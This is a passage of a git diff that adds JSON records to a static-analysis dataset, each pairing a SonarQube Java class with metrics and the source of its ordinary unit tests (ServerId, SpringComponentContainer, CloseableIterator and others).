Date());\n\n\n\n ServerId serverId = ServerId.parse(deprecated);\n\n\n\n assertThat(serverId.getFormat()).isEqualTo(DEPRECATED);\n\n assertThat(serverId.getDatasetId()).isEqualTo(deprecated);\n\n assertThat(serverId.getDatabaseId()).isEmpty();\n\n assertThat(serverId).hasToString(deprecated);\n\n }" + }, + { + "description": "parse_does_not_support_deprecated_server_id_with_database_id", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void parse_does_not_support_deprecated_server_id_with_database_id() {\n\n assertThatThrownBy(() -> ServerId.parse(secure().nextAlphabetic(DATABASE_ID_LENGTH) + SPLIT_CHARACTER + secure().nextAlphabetic(DEPRECATED_SERVER_ID_LENGTH)))\n\n .isInstanceOf(IllegalArgumentException.class)\n\n .hasMessage(\"serverId does not have a supported length\");\n\n }" + }, + { + "description": "of_throws_NPE_if_datasetId_is_null", + "expected-problems": null, + "expected-linenumbers": 4, + "code": " public void of_throws_NPE_if_datasetId_is_null() {\n\n assertThatThrownBy(() -> ServerId.of(secure().nextAlphabetic(DATABASE_ID_LENGTH), null))\n\n .isInstanceOf(NullPointerException.class);\n\n }" + }, + { + "description": "of_throws_IAE_if_datasetId_is_empty", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void of_throws_IAE_if_datasetId_is_empty() {\n\n assertThatThrownBy(() -> ServerId.of(secure().nextAlphabetic(DATABASE_ID_LENGTH), \"\"))\n\n .isInstanceOf(IllegalArgumentException.class)\n\n .hasMessage(\"Illegal datasetId length (0)\");\n\n }" + }, + { + "description": "of_throws_IAE_if_databaseId_is_empty", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void of_throws_IAE_if_databaseId_is_empty() {\n\n assertThatThrownBy(() -> ServerId.of(\"\", secure().nextAlphabetic(UUID_DATASET_ID_LENGTH)))\n\n .isInstanceOf(IllegalArgumentException.class)\n\n .hasMessage(\"Illegal databaseId length (0)\");\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/SonarQubeVersion.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/SonarQubeVersion.json new file mode 100644 index 0000000..a84865f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/SonarQubeVersion.json @@ -0,0 +1,20 @@ +{ + "name": "SonarQubeVersion", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 17, + "branches": 0, + "apis": 2, + "test": [ + { + "description": "verify_methods", + "expected-problems": null, + "expected-linenumbers": 8, + "code": " public void verify_methods() {\n\n var version = Version.create(9, 5);\n\n SonarQubeVersion underTest = new SonarQubeVersion(version);\n\n assertThat(underTest).extracting(SonarQubeVersion::toString, SonarQubeVersion::get)\n\n .containsExactly(\"9.5\", version);\n\n\n\n var otherVersion = Version.create(8, 5);\n\n assertThat(underTest.isGreaterThanOrEqual(otherVersion)).isTrue();\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/SpringComponentContainer.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/SpringComponentContainer.json new file mode 100644 index 0000000..aa66890 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/SpringComponentContainer.json @@ -0,0 +1,128 @@ +{ + "name": "SpringComponentContainer", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 228, + "branches": 25, + "apis": 37, + "test": [ + { + "description": "should_stop_after_failing", + "expected-problems": null, + "expected-linenumbers": 17, + "code": " public void should_stop_after_failing() {\n\n ApiStartable startStop = new ApiStartable();\n\n SpringComponentContainer container = new SpringComponentContainer() {\n\n @Override\n\n public void doBeforeStart() {\n\n add(startStop);\n\n }\n\n\n\n @Override\n\n public void doAfterStart() {\n\n getComponentByType(ApiStartable.class);\n\n throw new IllegalStateException(\"doBeforeStart\");\n\n }\n\n };\n\n\n\n assertThrows(\"doBeforeStart\", IllegalStateException.class, container::execute);\n\n assertThat(startStop.start).isOne();\n\n assertThat(startStop.stop).isOne();\n\n }" + }, + { + "description": "add_registers_instance_with_toString", + "expected-problems": null, + "expected-linenumbers": 9, + "code": " public void add_registers_instance_with_toString() {\n\n SpringComponentContainer container = new SimpleContainer(new ToString(\"a\"), new ToString(\"b\"));\n\n container.startComponents();\n\n assertThat(container.context.getBeanDefinitionNames())\n\n .contains(\n\n this.getClass().getClassLoader() + \"-org.sonar.core.platform.SpringComponentContainerTest.ToString-a\",\n\n this.getClass().getClassLoader() + \"-org.sonar.core.platform.SpringComponentContainerTest.ToString-b\");\n\n assertThat(container.getComponentsByType(ToString.class)).hasSize(2);\n\n }" + }, + { + "description": "add_registers_class_with_classloader_and_fqcn", + "expected-problems": null, + "expected-linenumbers": 10, + "code": " public void add_registers_class_with_classloader_and_fqcn() {\n\n SpringComponentContainer container = new SimpleContainer(A.class, B.class);\n\n container.startComponents();\n\n assertThat(container.context.getBeanDefinitionNames())\n\n .contains(\n\n this.getClass().getClassLoader() + \"-org.sonar.core.platform.SpringComponentContainerTest.A\",\n\n this.getClass().getClassLoader() + \"-org.sonar.core.platform.SpringComponentContainerTest.B\");\n\n assertThat(container.getComponentByType(A.class)).isNotNull();\n\n assertThat(container.getComponentByType(B.class)).isNotNull();\n\n }" + }, + { + "description": "addWebConfigurationClass_addsClass", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void addWebConfigurationClass_addsClass() {\n\n SpringComponentContainer container = new SpringComponentContainer();\n\n container.addWebApiV2ConfigurationClass(org.sonar.core.test.Test.class);\n\n assertThat(container.getWebApiV2ConfigurationClasses()).contains(org.sonar.core.test.Test.class);\n\n }" + }, + { + "description": "add_configures_module_instances", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void add_configures_module_instances() {\n\n SpringComponentContainer container = new SpringComponentContainer();\n\n container.add(new TestModule());\n\n container.startComponents();\n\n assertThat(container.getComponentByType(A.class)).isNotNull();\n\n }" + }, + { + "description": "get_optional_component_by_type_should_return_correctly", + "expected-problems": null, + "expected-linenumbers": 7, + "code": " public void get_optional_component_by_type_should_return_correctly() {\n\n SpringComponentContainer container = new SpringComponentContainer();\n\n container.add(A.class);\n\n container.startComponents();\n\n assertThat(container.getOptionalComponentByType(A.class)).containsInstanceOf(A.class);\n\n assertThat(container.getOptionalComponentByType(B.class)).isEmpty();\n\n }" + }, + { + "description": "createChild_method_should_spawn_a_child_container", + "expected-problems": null, + "expected-linenumbers": 7, + "code": " public void createChild_method_should_spawn_a_child_container(){\n\n SpringComponentContainer parent = new SpringComponentContainer();\n\n SpringComponentContainer child = parent.createChild();\n\n assertThat(child).isNotEqualTo(parent);\n\n assertThat(child.parent).isEqualTo(parent);\n\n assertThat(parent.children).contains(child);\n\n }" + }, + { + "description": "get_component_by_type_should_throw_exception_when_type_does_not_exist", + "expected-problems": null, + "expected-linenumbers": 8, + "code": " public void get_component_by_type_should_throw_exception_when_type_does_not_exist() {\n\n SpringComponentContainer container = new SpringComponentContainer();\n\n container.add(A.class);\n\n container.startComponents();\n\n assertThatThrownBy(() -> container.getComponentByType(B.class))\n\n .isInstanceOf(IllegalStateException.class)\n\n .hasMessage(\"Unable to load component class org.sonar.core.platform.SpringComponentContainerTest$B\");\n\n }" + }, + { + "description": "add_fails_if_adding_module_class", + "expected-problems": null, + "expected-linenumbers": 7, + "code": " public void add_fails_if_adding_module_class() {\n\n SpringComponentContainer container = new SpringComponentContainer();\n\n container.startComponents();\n\n assertThatThrownBy(() -> container.add(TestModule.class))\n\n .hasMessage(\"Modules should be added as instances\")\n\n .isInstanceOf(IllegalStateException.class);\n\n }" + }, + { + "description": "should_throw_start_exception_if_stop_also_throws_exception", + "expected-problems": null, + "expected-linenumbers": 16, + "code": " public void should_throw_start_exception_if_stop_also_throws_exception() {\n\n ErrorStopClass errorStopClass = new ErrorStopClass();\n\n SpringComponentContainer container = new SpringComponentContainer() {\n\n @Override\n\n public void doBeforeStart() {\n\n add(errorStopClass);\n\n }\n\n\n\n @Override\n\n public void doAfterStart() {\n\n getComponentByType(ErrorStopClass.class);\n\n throw new IllegalStateException(\"doBeforeStart\");\n\n }\n\n };\n\n assertThrows(\"doBeforeStart\", IllegalStateException.class, container::execute);\n\n assertThat(errorStopClass.stopped).isTrue();\n\n }" + }, + { + "description": "addExtension_supports_extensions_without_annotations", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void addExtension_supports_extensions_without_annotations() {\n\n SpringComponentContainer container = new SimpleContainer(A.class, B.class);\n\n container.addExtension(\"\", ExtensionWithMultipleConstructorsAndNoAnnotations.class);\n\n container.startComponents();\n\n assertThat(container.getComponentByType(ExtensionWithMultipleConstructorsAndNoAnnotations.class).gotBothArgs).isTrue();\n\n }" + }, + { + "description": "addExtension_supports_extension_instances_without_annotations", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void addExtension_supports_extension_instances_without_annotations() {\n\n SpringComponentContainer container = new SpringComponentContainer();\n\n container.addExtension(\"\", new ExtensionWithMultipleConstructorsAndNoAnnotations(new A()));\n\n container.startComponents();\n\n assertThat(container.getComponentByType(ExtensionWithMultipleConstructorsAndNoAnnotations.class)).isNotNull();\n\n }" + }, + { + "description": "addExtension_resolves_iterables", + "expected-problems": null, + "expected-linenumbers": 8, + "code": " public void addExtension_resolves_iterables() {\n\n List> classes = Arrays.asList(A.class, B.class);\n\n SpringComponentContainer container = new SpringComponentContainer();\n\n container.addExtension(\"\", classes);\n\n container.startComponents();\n\n assertThat(container.getComponentByType(A.class)).isNotNull();\n\n assertThat(container.getComponentByType(B.class)).isNotNull();\n\n }" + }, + { + "description": "addExtension_adds_property_with_PluginInfo", + "expected-problems": null, + "expected-linenumbers": 10, + "code": " public void addExtension_adds_property_with_PluginInfo() {\n\n PluginInfo info = new PluginInfo(\"plugin1\").setName(\"plugin1\");\n\n SpringComponentContainer container = new SpringComponentContainer();\n\n container.addExtension(info, A.class);\n\n\n\n container.startComponents();\n\n PropertyDefinitions propertyDefinitions = container.getComponentByType(PropertyDefinitions.class);\n\n PropertyDefinition propertyDefinition = propertyDefinitions.get(\"k\");\n\n assertThat(propertyDefinition.key()).isEqualTo(\"k\");\n\n assertThat(propertyDefinitions.getCategory(\"k\")).isEqualTo(\"plugin1\");\n\n }" + }, + { + "description": "declareExtension_adds_property", + "expected-problems": null, + "expected-linenumbers": 9, + "code": " public void declareExtension_adds_property() {\n\n SpringComponentContainer container = new SpringComponentContainer();\n\n container.addExtension((PluginInfo) null, A.class);\n\n\n\n container.startComponents();\n\n PropertyDefinitions propertyDefinitions = container.getComponentByType(PropertyDefinitions.class);\n\n PropertyDefinition propertyDefinition = propertyDefinitions.get(\"k\");\n\n assertThat(propertyDefinition.key()).isEqualTo(\"k\");\n\n assertThat(propertyDefinitions.getCategory(\"k\")).isEmpty();\n\n }" + }, + { + "description": "stop_should_stop_children", + "expected-problems": null, + "expected-linenumbers": 15, + "code": " public void stop_should_stop_children() {\n\n SpringComponentContainer parent = new SpringComponentContainer();\n\n ApiStartable s1 = new ApiStartable();\n\n parent.add(s1);\n\n parent.startComponents();\n\n SpringComponentContainer child = new SpringComponentContainer(parent);\n\n assertThat(child.getParent()).isEqualTo(parent);\n\n assertThat(parent.children).containsOnly(child);\n\n ApiStartable s2 = new ApiStartable();\n\n child.add(s2);\n\n child.startComponents();\n\n\n\n parent.stopComponents();\n\n assertThat(s1.stop).isOne();\n\n assertThat(s2.stop).isOne();\n\n }" + }, + { + "description": "stop_should_remove_container_from_parent", + "expected-problems": null, + "expected-linenumbers": 7, + "code": " public void stop_should_remove_container_from_parent() {\n\n SpringComponentContainer parent = new SpringComponentContainer();\n\n SpringComponentContainer child = new SpringComponentContainer(parent);\n\n assertThat(parent.children).containsOnly(child);\n\n child.stopComponents();\n\n assertThat(parent.children).isEmpty();\n\n }" + }, + { + "description": "bean_create_fails_if_class_has_default_constructor_and_other_constructors", + "expected-problems": null, + "expected-linenumbers": 7, + "code": " public void bean_create_fails_if_class_has_default_constructor_and_other_constructors() {\n\n SpringComponentContainer container = new SpringComponentContainer();\n\n container.add(ClassWithMultipleConstructorsIncNoArg.class);\n\n container.startComponents();\n\n assertThatThrownBy(() -> container.getComponentByType(ClassWithMultipleConstructorsIncNoArg.class))\n\n .hasRootCauseMessage(\"Constructor annotations missing in: class org.sonar.core.platform.SpringComponentContainerTest$ClassWithMultipleConstructorsIncNoArg\");\n\n }" + }, + { + "description": "support_start_stop_callbacks", + "expected-problems": null, + "expected-linenumbers": 20, + "code": " public void support_start_stop_callbacks() {\n\n JsrLifecycleCallbacks jsr = new JsrLifecycleCallbacks();\n\n ApiStartable api = new ApiStartable();\n\n AutoClose closeable = new AutoClose();\n\n\n\n SpringComponentContainer container = new SimpleContainer(jsr, api, closeable) {\n\n @Override\n\n public void doAfterStart() {\n\n // force lazy instantiation\n\n getComponentByType(JsrLifecycleCallbacks.class);\n\n getComponentByType(ApiStartable.class);\n\n getComponentByType(AutoClose.class);\n\n }\n\n };\n\n container.execute();\n\n\n\n assertThat(closeable.closed).isOne();\n\n assertThat(jsr.postConstruct).isOne();\n\n assertThat(jsr.preDestroy).isOne();\n\n assertThat(api.start).isOne();\n\n assertThat(api.stop).isOne();\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/SpringInitStrategy.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/SpringInitStrategy.json new file mode 100644 index 0000000..c3e4d53 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/SpringInitStrategy.json @@ -0,0 +1,13 @@ +{ + "name": "SpringInitStrategy", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 11, + "branches": 1, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/StartableBeanPostProcessor.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/StartableBeanPostProcessor.json new file mode 100644 index 0000000..2ed2f6e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/StartableBeanPostProcessor.json @@ -0,0 +1,32 @@ +{ + "name": "StartableBeanPostProcessor", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 26, + "branches": 2, + "apis": 6, + "test": [ + { + "description": "starts_api_startable", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void starts_api_startable() {\n\n Startable startable = mock(Startable.class);\n\n underTest.postProcessBeforeInitialization(startable, \"startable\");\n\n verify(startable).start();\n\n verifyNoMoreInteractions(startable);\n\n }" + }, + { + "description": "stops_api_startable", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void stops_api_startable() {\n\n Startable startable = mock(Startable.class);\n\n underTest.postProcessBeforeDestruction(startable, \"startable\");\n\n verify(startable).stop();\n\n verifyNoMoreInteractions(startable);\n\n }" + }, + { + "description": "startable_and_autoCloseable_should_require_destruction", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void startable_and_autoCloseable_should_require_destruction(){\n\n assertThat(underTest.requiresDestruction(mock(Startable.class))).isTrue();\n\n assertThat(underTest.requiresDestruction(mock(org.sonar.api.Startable.class))).isTrue();\n\n assertThat(underTest.requiresDestruction(mock(Object.class))).isFalse();\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/StartableContainer.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/StartableContainer.json new file mode 100644 index 0000000..16b5525 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/StartableContainer.json @@ -0,0 +1,13 @@ +{ + "name": "StartableContainer", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 3, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/plugin/PluginType.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/plugin/PluginType.json new file mode 100644 index 0000000..13aecfd --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/plugin/PluginType.json @@ -0,0 +1,13 @@ +{ + "name": "PluginType", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 3, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/rule/ImpactFormatter.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/rule/ImpactFormatter.json new file mode 100644 index 0000000..e56b250 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/rule/ImpactFormatter.json @@ -0,0 +1,13 @@ +{ + "name": "ImpactFormatter", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 23, + "branches": 2, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/rule/ImpactSeverityMapper.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/rule/ImpactSeverityMapper.json new file mode 100644 index 0000000..eb9cf50 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/rule/ImpactSeverityMapper.json @@ -0,0 +1,13 @@ +{ + "name": "ImpactSeverityMapper", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 19, + "branches": 0, + "apis": 13, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/rule/RuleType.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/rule/RuleType.json new file mode 100644 index 0000000..a795550 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/rule/RuleType.json @@ -0,0 +1,13 @@ +{ + "name": "RuleType", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 41, + "branches": 7, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/rule/RuleTypeMapper.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/rule/RuleTypeMapper.json new file mode 100644 index 0000000..7cae089 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/rule/RuleTypeMapper.json @@ -0,0 +1,13 @@ +{ + "name": "RuleTypeMapper", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 21, + "branches": 2, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/sarif/SarifSerializer.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/sarif/SarifSerializer.json new file mode 100644 index 0000000..71ba817 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/sarif/SarifSerializer.json @@ -0,0 +1,13 @@ +{ + "name": "SarifSerializer", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 4, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/sarif/SarifSerializerImpl.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/sarif/SarifSerializerImpl.json new file mode 100644 index 0000000..de4c772 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/sarif/SarifSerializerImpl.json @@ -0,0 +1,26 @@ +{ + "name": "SarifSerializerImpl", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 52, + "branches": 1, + "apis": 8, + "test": [ + { + "description": "serialize", + "expected-problems": null, + "expected-linenumbers": 9, + "code": " public void serialize() {\n\n new Run().withResults(List.of());\n\n SarifSchema210 sarif210 = new SarifSchema210()\n\n .with$schema(URI.create(\"http://json.schemastore.org/sarif-2.1.0-rtm.4\"))\n\n .withVersion(SarifSchema210.Version._2_1_0)\n\n .withRuns(List.of(new Run().withResults(List.of())));\n\n\n\n String result = serializer.serialize(sarif210);\n\n\n\n JsonAssert.assertJson(result).isSimilarTo(SARIF_JSON);\n\n }" + }, + { + "description": "deserialize_shouldFail_whenFileCantBeFound", + "expected-problems": null, + "expected-linenumbers": 7, + "code": " public void deserialize_shouldFail_whenFileCantBeFound() {\n\n String file = \"wrongPathToFile\";\n\n Path sarif = Paths.get(file);\n\n\n\n assertThatThrownBy(() -> serializer.deserialize(sarif))\n\n .isInstanceOf(IllegalStateException.class)\n\n .hasMessage(\"Failed to read SARIF report at 'wrongPathToFile'\");\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/scadata/DefaultScaDataSourceImpl.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/scadata/DefaultScaDataSourceImpl.json new file mode 100644 index 0000000..f242c2c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/scadata/DefaultScaDataSourceImpl.json @@ -0,0 +1,26 @@ +{ + "name": "DefaultScaDataSourceImpl", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 8, + "branches": 0, + "apis": 1, + "test": [ + { + "description": "getVulnerabilityCount_defaultsToZero", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void getVulnerabilityCount_defaultsToZero() {\n\n String componentUuid = \"component-uuid\";\n\n\n\n int vulnerabilityCount = dataSource.getVulnerabilityCount(componentUuid);\n\n\n\n assertEquals(0, vulnerabilityCount);\n\n }" + }, + { + "description": "getVulnerabilityRating_defaultsToEmpty", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void getVulnerabilityRating_defaultsToEmpty() {\n\n String componentUuid = \"component-uuid\";\n\n\n\n OptionalInt vulnerabilityRating = dataSource.getVulnerabilityRating(componentUuid);\n\n\n\n assertEquals(OptionalInt.empty(), vulnerabilityRating);\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/scadata/ScaDataSource.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/scadata/ScaDataSource.json new file mode 100644 index 0000000..aa60958 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/scadata/ScaDataSource.json @@ -0,0 +1,13 @@ +{ + "name": "ScaDataSource", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 10, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/telemetry/TelemetryExtension.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/telemetry/TelemetryExtension.json new file mode 100644 index 0000000..d82985a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/telemetry/TelemetryExtension.json @@ -0,0 +1,13 @@ +{ + "name": "TelemetryExtension", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 3, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/user/DefaultUser.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/user/DefaultUser.json new file mode 100644 index 0000000..f11240c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/user/DefaultUser.json @@ -0,0 +1,13 @@ +{ + "name": "DefaultUser", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 58, + "branches": 2, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/CloseableIterator.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/CloseableIterator.json new file mode 100644 index 0000000..f61894a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/CloseableIterator.json @@ -0,0 +1,62 @@ +{ + "name": "CloseableIterator", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 154, + "branches": 10, + "apis": 9, + "test": [ + { + "description": "iterate", + "expected-problems": null, + "expected-linenumbers": 19, + "code": " public void iterate() {\n\n SimpleCloseableIterator it = new SimpleCloseableIterator();\n\n assertThat(it.isClosed).isFalse();\n\n\n\n // multiple calls to hasNext() moves only once the cursor\n\n assertThat(it.hasNext()).isTrue();\n\n assertThat(it.hasNext()).isTrue();\n\n assertThat(it.hasNext()).isTrue();\n\n assertThat(it.next()).isEqualTo(1);\n\n assertThat(it.isClosed).isFalse();\n\n\n\n assertThat(it.hasNext()).isTrue();\n\n assertThat(it.next()).isEqualTo(2);\n\n assertThat(it.isClosed).isFalse();\n\n\n\n assertThat(it.hasNext()).isFalse();\n\n // automatic close\n\n assertThat(it.isClosed).isTrue();\n\n\n\n // explicit close does not fail\n\n it.close();\n\n assertThat(it.isClosed).isTrue();\n\n }" + }, + { + "description": "call_next_without_hasNext", + "expected-problems": null, + "expected-linenumbers": 10, + "code": " public void call_next_without_hasNext() {\n\n SimpleCloseableIterator it = new SimpleCloseableIterator();\n\n assertThat(it.next()).isEqualTo(1);\n\n assertThat(it.next()).isEqualTo(2);\n\n try {\n\n it.next();\n\n fail();\n\n } catch (NoSuchElementException expected) {\n\n\n\n }\n\n }" + }, + { + "description": "automatic_close_if_traversal_error", + "expected-problems": null, + "expected-linenumbers": 10, + "code": " public void automatic_close_if_traversal_error() {\n\n FailureCloseableIterator it = new FailureCloseableIterator();\n\n try {\n\n it.next();\n\n fail();\n\n } catch (IllegalStateException expected) {\n\n assertThat(expected).hasMessage(\"expected failure\");\n\n assertThat(it.isClosed).isTrue();\n\n }\n\n }" + }, + { + "description": "remove_is_not_supported_by_default", + "expected-problems": null, + "expected-linenumbers": 9, + "code": " public void remove_is_not_supported_by_default() {\n\n SimpleCloseableIterator it = new SimpleCloseableIterator();\n\n try {\n\n it.remove();\n\n fail();\n\n } catch (UnsupportedOperationException expected) {\n\n assertThat(it.isClosed).isTrue();\n\n }\n\n }" + }, + { + "description": "remove_can_be_overridden", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void remove_can_be_overridden() {\n\n RemovableCloseableIterator it = new RemovableCloseableIterator();\n\n it.remove();\n\n assertThat(it.isRemoved).isTrue();\n\n }" + }, + { + "description": "has_next_should_not_call_do_next_when_already_closed", + "expected-problems": null, + "expected-linenumbers": 11, + "code": " public void has_next_should_not_call_do_next_when_already_closed() {\n\n DoNextShouldNotBeCalledWhenClosedIterator it = new DoNextShouldNotBeCalledWhenClosedIterator();\n\n\n\n it.next();\n\n it.next();\n\n assertThat(it.hasNext()).isFalse();\n\n // this call to hasNext close the stream\n\n assertThat(it.hasNext()).isFalse();\n\n assertThat(it.isClosed).isTrue();\n\n\n\n // calling hasNext should not fail\n\n it.hasNext();\n\n }" + }, + { + "description": "emptyIterator_has_next_is_false", + "expected-problems": null, + "expected-linenumbers": 3, + "code": " public void emptyIterator_has_next_is_false() {\n\n assertThat(CloseableIterator.emptyCloseableIterator().hasNext()).isFalse();\n\n }" + }, + { + "description": "verify_has_next_from_iterator_with_empty_iterator", + "expected-problems": null, + "expected-linenumbers": 3, + "code": " public void verify_has_next_from_iterator_with_empty_iterator() {\n\n assertThat(CloseableIterator.from(Collections.emptyList().iterator()).hasNext()).isFalse();\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/ContextException.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/ContextException.json new file mode 100644 index 0000000..fa90863 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/ContextException.json @@ -0,0 +1,62 @@ +{ + "name": "ContextException", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 88, + "branches": 11, + "apis": 33, + "test": [ + { + "description": "only_label", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void only_label() {\n\n ContextException e = ContextException.of(LABEL);\n\n assertThat(e.getMessage()).isEqualTo(LABEL);\n\n assertThat(e.getRawMessage()).isEqualTo(LABEL);\n\n assertThat(e.getCause()).isNull();\n\n }" + }, + { + "description": "only_cause", + "expected-problems": null, + "expected-linenumbers": 7, + "code": " public void only_cause() {\n\n Exception cause = new Exception(\"cause\");\n\n ContextException e = ContextException.of(cause);\n\n assertThat(e.getMessage()).isEqualTo(\"java.lang.Exception: cause\");\n\n assertThat(e.getRawMessage()).isEqualTo(\"java.lang.Exception: cause\");\n\n assertThat(e.getCause()).isSameAs(cause);\n\n }" + }, + { + "description": "cause_and_message", + "expected-problems": null, + "expected-linenumbers": 7, + "code": " public void cause_and_message() {\n\n Exception cause = new Exception(\"cause\");\n\n ContextException e = ContextException.of(LABEL, cause);\n\n 